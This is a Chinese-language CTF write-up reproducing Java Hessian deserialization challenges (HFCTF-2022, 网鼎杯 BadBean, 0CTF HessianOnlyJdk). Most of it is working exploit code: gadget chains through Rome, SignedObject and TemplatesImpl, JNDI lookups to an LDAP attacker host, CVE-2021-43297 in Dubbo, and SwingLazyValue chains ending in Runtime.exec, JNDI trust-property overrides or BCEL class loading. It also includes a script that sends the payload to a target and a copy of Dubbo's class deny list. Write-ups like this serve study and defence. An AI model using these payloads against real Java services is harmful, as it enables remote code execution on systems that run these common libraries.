主要是一些ctf题目的复现分析

HFCTF-2022 ezchain

先是hash碰撞,然后是hessian反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static class MyHandler implements HttpHandler {
public void handle(HttpExchange t) throws IOException {
String query = t.getRequestURI().getQuery();
Map<String, String> queryMap = queryToMap(query);
String response = "Welcome to HFCTF 2022";
if (queryMap != null) {
String token = queryMap.get("token");
String secret = "HFCTF2022";
if (Objects.hashCode(token) == secret.hashCode() && !secret.equals(token)) {
InputStream is = t.getRequestBody();
try {
Hessian2Input input = new Hessian2Input(is);
input.readObject();
} catch (Exception e) {
response = "oops! something is wrong";
}
} else {
response = "your token is wrong";
}
}
t.sendResponseHeaders(200, response.length());
OutputStream os = t.getResponseBody();
os.write(response.getBytes());
os.close();
}

本题的依赖有rome,但是docker中是不出网的,所以需要找一个不出网的利用链,常规的rome+jdbcrowset打不了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    public static void main(String[] args) throws Exception
{
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String jdniStr="ldap://192.168.142.1:8888/Basic/Command/calc";
jdbcRowSet.setDataSourceName(jdniStr);
// jdbcRowSet.getDatabaseMetaData();

ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object, Object> map = makeMap(objectBean,"a");

// objectBean.hashCode();


String payload = serialize2(map);
System.out.println(payload);
deserialize2(payload);

}

可以用SignedObject来打二次反序列化,从而利用TemplatesImpl来执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
    public static void main(String[] args) throws Exception
{
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get("exp.Evil");
byte[] code = cc.toBytecode();

TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_name", "A.R.");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setFieldValue(bd, "val", toStringBean);

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.genKeyPair();
SignedObject signedObject = new SignedObject(bd, kp.getPrivate(), Signature.getInstance("DSA"));
signedObject.getObject();

ToStringBean toStringBean0 = new ToStringBean(SignedObject.class, signedObject);
ObjectBean objectBean0 = new ObjectBean(ToStringBean.class, toStringBean0);

HashMap<Object, Object> map = makeMap("f", objectBean0);

String payload = serialize2(map);
System.out.println(payload);

// deserialize2(payload);

Unirest.setProxy(HttpHost.create("http://127.0.0.1:8080"));
String url = "http://127.0.0.1:8090/";
String res = Unirest.post(url)
.queryString("token", "GeCTF2022")
.body(Base64.getDecoder().decode(payload))
.asString()
.getBody();
System.out.println(res);
System.out.println(payload);

}

网鼎杯-2022 BadBean

题目给了一个mybean,其中的toString方法可以触发getter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public String toString() {
StringBuffer sb = new StringBuffer(128);
try {
List<PropertyDescriptor> propertyDescriptors = BeanIntrospector.getPropertyDescriptorsWithGetters(this.beanClass);
Iterator flag = propertyDescriptors.iterator();

while(flag.hasNext()) {
PropertyDescriptor propertyDescriptor = (PropertyDescriptor)flag.next();
String propertyName = propertyDescriptor.getName();
Method getter = propertyDescriptor.getReadMethod();
Object value = getter.invoke(this.obj, new Object[0]);
}
} catch (Exception e) {
Class<? extends Object> clazz = this.obj.getClass();
String errorMessage = e.getMessage();
sb.append(String.format("\n\nEXCEPTION: Could not complete %s.toString(): %s\n", clazz, errorMessage));
}

return sb.toString();
}

同时题目依赖是dubbo 2.7.14,这个版本存在黑名单,位于DENY_CLASS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#
#
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
#
bsh.
ch.qos.logback.core.db.
clojure.
com.alibaba.citrus.springext.support.parser.
com.alibaba.citrus.springext.util.SpringExtUtil.
com.alibaba.druid.pool.
com.alibaba.hotcode.internal.org.apache.commons.collections.functors.
com.alipay.custrelation.service.model.redress.
com.alipay.oceanbase.obproxy.druid.pool.
com.caucho.config.types.
com.caucho.hessian.test.
com.caucho.naming.
com.ibm.jtc.jax.xml.bind.v2.runtime.unmarshaller.
com.ibm.xltxe.rnm1.xtq.bcel.util.
com.mchange.v2.c3p0.
com.mysql.jdbc.util.
com.rometools.rome.feed.
com.sun.corba.se.impl.
com.sun.corba.se.spi.orbutil.
com.sun.jndi.rmi.
com.sun.jndi.toolkit.
com.sun.org.apache.bcel.internal.
com.sun.org.apache.xalan.internal.
com.sun.rowset.
com.sun.xml.internal.bind.v2.
com.taobao.vipserver.commons.collections.functors.
groovy.lang.
java.beans.
java.lang.ProcessBuilder
java.lang.Runtime
java.rmi.server.
java.security.
java.util.ServiceLoader
javassist.bytecode.annotation.
javassist.tools.web.Viewer
javassist.util.proxy.
javax.imageio.
javax.imageio.spi.
javax.management.
javax.media.jai.remote.
javax.naming.
javax.script.
javax.sound.sampled.
javax.xml.transform.
net.bytebuddy.dynamic.loading.
oracle.jdbc.connector.
oracle.jdbc.pool.
org.apache.aries.transaction.jms.
org.apache.bcel.util.
org.apache.carbondata.core.scan.expression.
org.apache.commons.beanutils.
org.apache.commons.codec.binary.
org.apache.commons.collections.functors.
org.apache.commons.collections4.functors.
org.apache.commons.configuration.
org.apache.commons.configuration2.
org.apache.commons.dbcp.datasources.
org.apache.commons.dbcp2.datasources.
org.apache.commons.fileupload.disk.
org.apache.ibatis.executor.loader.
org.apache.ibatis.javassist.bytecode.
org.apache.ibatis.javassist.tools.
org.apache.ibatis.javassist.util.
org.apache.ignite.cache.
org.apache.log.output.db.
org.apache.log4j.receivers.db.
org.apache.myfaces.view.facelets.el.
org.apache.openjpa.ee.
org.apache.openjpa.ee.
org.apache.shiro.
org.apache.tomcat.dbcp.
org.apache.velocity.runtime.
org.apache.velocity.
org.apache.wicket.util.
org.apache.xalan.xsltc.trax.
org.apache.xbean.naming.context.
org.apache.xpath.
org.apache.zookeeper.
org.aspectj.apache.bcel.util.
org.codehaus.groovy.runtime.
org.datanucleus.store.rdbms.datasource.dbcp.datasources.
org.eclipse.jetty.util.log.
org.geotools.filter.
org.h2.value.
org.hibernate.tuple.component.
org.hibernate.type.
org.jboss.ejb3.
org.jboss.proxy.ejb.
org.jboss.resteasy.plugins.server.resourcefactory.
org.jboss.weld.interceptor.builder.
org.mockito.internal.creation.cglib.
org.mortbay.log.
org.quartz.
org.springframework.aop.aspectj.
org.springframework.beans.BeanWrapperImpl$BeanPropertyHandler
org.springframework.beans.factory.
org.springframework.expression.spel.
org.springframework.jndi.
org.springframework.orm.
org.springframework.transaction.
org.yaml.snakeyaml.tokens.
pstore.shaded.org.apache.commons.collections.
sun.rmi.server.
sun.rmi.transport.
weblogic.ejb20.internal.
weblogic.jms.common.

所以本题触发getter不能使用常用的JdbcRowSet和TemplatesImpl,题目依赖种还给了一个HikariCP,同样可以通过getter来JNDI

1
2
3
4
5
6
7
8
public static void main(String[] args) throws Exception
{
HikariDataSource hikariDataSource = new HikariDataSource();
hikariDataSource.setDataSourceJNDI("ldap://192.168.142.1:8888/TomcatBypass/Command/calc");

MyBean myBean = new MyBean("123","hello",hikariDataSource, HikariDataSource.class);
System.out.println(myBean);
}

想要触发到toString可以用到2.7.14的一个CVE,Apache Dubbo Hessian2 异常处理时反序列化(CVE-2021-43297)

漏洞点存在于com.alibaba.com.caucho.hessian.io.Hessian2Input#expect," (" + obj + ")"这种写法可以隐式调用toString

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected IOException expect(String expect, int ch) throws IOException {
if (ch < 0) {
return this.error("expected " + expect + " at end of file");
} else {
--this._offset;

try {
Object obj = this.readObject();
return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");
} catch (IOException var4) {
log.log(Level.FINE, var4.toString(), var4);
return this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255));
}
}
}

在com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject中取得tag为67可以进入com.alibaba.com.caucho.hessian.io.Hessian2Input#readObjectDefinition

image-20230719155649472

然后继续进入com.alibaba.com.caucho.hessian.io.Hessian2Input#readString(),其中会判断tag,当tag为欧7时,最后会进入default中,就可以触发expect

image-20230719155802379

然后就是重写一下序列化时的方法,把67写进去,可以参考https://paper.seebug.org/1814/

0CTF/TCTF-2022 HessianOnlyJdk

纯jdk链子,首先可以想到使用cve去触发toString,然后hint中给了一个Xsteam的链子

1
2
3
4
5
6
javax.swing.MultiUIDefaults.toString
UIDefaults.get
UIDefaults.getFromHashTable
UIDefaults$LazyValue.createValue
SwingLazyValue.createValue
javax.naming.InitialContext.doLookup()

这个链是从MultiUIDefaults的toString方法开始,一路调用到SwingLazyValue的createValue,是一个纯jdk利用链(但是这个SwingLazyValue好像在jdk8之后删了)

我们可以关注一下sun.swing.SwingLazyValue#createValue这个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public Object createValue(UIDefaults var1) {
try {
ReflectUtil.checkPackageAccess(this.className);
Class var2 = Class.forName(this.className, true, (ClassLoader)null);
Class[] var3;
if (this.methodName != null) {
var3 = this.getClassArray(this.args);
Method var6 = var2.getMethod(this.methodName, var3);
this.makeAccessible(var6);
return var6.invoke(var2, this.args);
} else {
var3 = this.getClassArray(this.args);
Constructor var4 = var2.getConstructor(var3);
this.makeAccessible(var4);
return var4.newInstance(this.args);
}
} catch (Exception var5) {
return null;
}
}

这里使用的getMethod和getConstructor都只能获取到public方法,而invoke的第一个参数是一个class而不是对象实例,所以这里的效果就是可以调用任意public的static方法,所以原本链子使用的sink是javax.naming.InitialContext#doLookup(java.lang.String)

1
2
3
4
public static <T> T doLookup(String name)
throws NamingException {
return (T) (new InitialContext()).lookup(name);
}

但是在本题的8u342的超高版本条件下无法打jndi,所以这里需要寻找可替换的sink点

而对于开头的入口MultiUIDefaults,这个类没有public的构造方法,Hessain还原不出来,也需要寻找替代

经过测试,发现没法使用:

  • javax.swing.MultiUIDefaults是peotect类,只能在javax.swing.中使用,而且Hessian2拿到了构造器,但是没有setAccessable,newInstance就没有权限
  • 所以要找链的话需要类是public的,构造器也是public的,构造器的参数个数不要紧,hessian2会自动挨个测试构造器直到成功

然后对于存在Map类型的利用链,例如ysoserial中的cc5部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

这个也是无法利用的,因为Hessian2在恢复map类型的对象时,硬编码成了HashMap或者TreeMap,这里LazeMap就断了。

扫了下basic项目自带的包,没找到能用的链,三方包中找到利用链的可能性比较大一些。

接下来就是拼链子了

从toString到get

MimeTypeParameterList

ysomap里面有一个现成的链LazyValueForHessian满足条件,原始调用链如下

1
2
3
4
5
javax.naming.ldap.Rdn$RdnEntry.compareTo
com.sun.org.apache.xpath.internal.objects.XStringForFSB.equals
javax.activation.MimeTypeParameterList.toString
UIDefaults.get
......

先来看javax.activation.MimeTypeParameterList#toString,这里会触发parameters的get方法,而parameters要求必须是Hashtable,UIDefaults正好继承了Hashtable,所以链子就这么拼上了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private Hashtable parameters = new Hashtable();    

······

public String toString() {
StringBuffer buffer = new StringBuffer();
buffer.ensureCapacity(this.parameters.size() * 16);
Enumeration keys = this.parameters.keys();

while(keys.hasMoreElements()) {
String key = (String)keys.nextElement();
buffer.append("; ");
buffer.append(key);
buffer.append('=');
buffer.append(quote((String)this.parameters.get(key)));
}

return buffer.toString();
}

PKCS9Attributes

另外还有一条链子,有人用codeql找到的

1
2
3
4
5
6
7
PKCS9Attributes#toString->
PKCS9Attributes#getAttribute->
UIDefaults#get->
UIDefaults#getFromHashTable->
UIDefaults$LazyValue#createValue->
SwingLazyValue#createValue->
InitialContext#doLookup()

这里用tabby试了一下同样可以找到

满足条件的sink

接下来是找sink点,这里由于是使用createValue,所以这里只能调用public的构造方法,或者public的static方法

MethodUtil.invoke -> Runtime.exec

直接执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static void main(String[] args) throws Exception
{
String cmd = "calc";
Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method exec = Runtime.class.getMethod("exec", String.class);
String payload=payload1("sun.reflect.misc.MethodUtil","invoke",new Object[]{invoke, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{cmd}}});
deserialize2(payload);
}
public static String payload1(String className,String methodName,Object[] args) throws Exception
{
SwingLazyValue swingLazyValue = new SwingLazyValue(className, methodName, args);
UIDefaults uiDefaults = new UIDefaults(new Object[]{"aaa", swingLazyValue});
MimeTypeParameterList mime = new MimeTypeParameterList();
setFieldValue(mime, "parameters", uiDefaults);
String baseStr=cve_serialize2(mime);
System.out.println(baseStr);
return baseStr;
}

System.setProperty -> JNDI 注入

在 jdk 高版本下,可以通过执行这条代码,之后可无视 jndi 高版本进行 JNDi 注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
......
public static void setProperties(Properties props) {
SecurityManager sm = getSecurityManager();
if (sm != null) {
sm.checkPropertiesAccess();
}
if (props == null) {
props = new Properties();
initProperties(props);
}
System.props = props;
}

JavaWrapper._main -> runMain -> evil._main

1
2
3
4
byte[] bytes = Files.readAllBytes(Paths.get("target\\test-classes\\evil.class"));  
String code = Utility.encode(bytes,true);
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{"$$BCEL$$"+code,"s"}}));

JavaUtils.writeBytesToFilename -> System.load

写文件

NCTF-2022 ezjava

参考https://pupil857.github.io/2022/12/08/NCTF2022-%E5%87%BA%E9%A2%98%E5%B0%8F%E8%AE%B0/

D3CTF-2023 ezjava

https://pupil857.github.io/2023/05/03/d3ctf-ezjava/

Reference

hessian前置基础

https://su18.org/post/hessian

https://paper.seebug.org/1131/

https://goodapple.top/archives/1193

https://www.freebuf.com/vuls/224280.html

http://124.223.185.138/index.php/archives/23.html#cl-6

https://blog.csdn.net/Xxy605/article/details/125925629

http://www.mi1k7ea.com/2020/01/25/Java-Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

dubbo反序列化分析

https://tttang.com/archive/1730/

https://tttang.com/archive/1747/

https://silente.top/

https://www.freebuf.com/vuls/287658.html

题目相关

https://paper.seebug.org/1814/

https://haoami.github.io/2022/11/01/2022-11-1-tctf%E5%B0%8F%E7%BB%93/

https://blog.z3ratu1.top/0CTF2022%E5%A4%8D%E7%8E%B0.html

https://kingbridgess.github.io/posts/0ctf-tctf-2022-hessian-only-jdk-%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%AD%A6%E4%B9%A0/

https://exp10it.cn/2023/05/hessian-cve-2021-43297-d3ctf-2023-ezjava/#hessian-cve-2021-43297

https://pupil857.github.io/2022/12/08/NCTF2022-%E5%87%BA%E9%A2%98%E5%B0%8F%E8%AE%B0/

https://pupil857.github.io/2023/05/03/d3ctf-ezjava/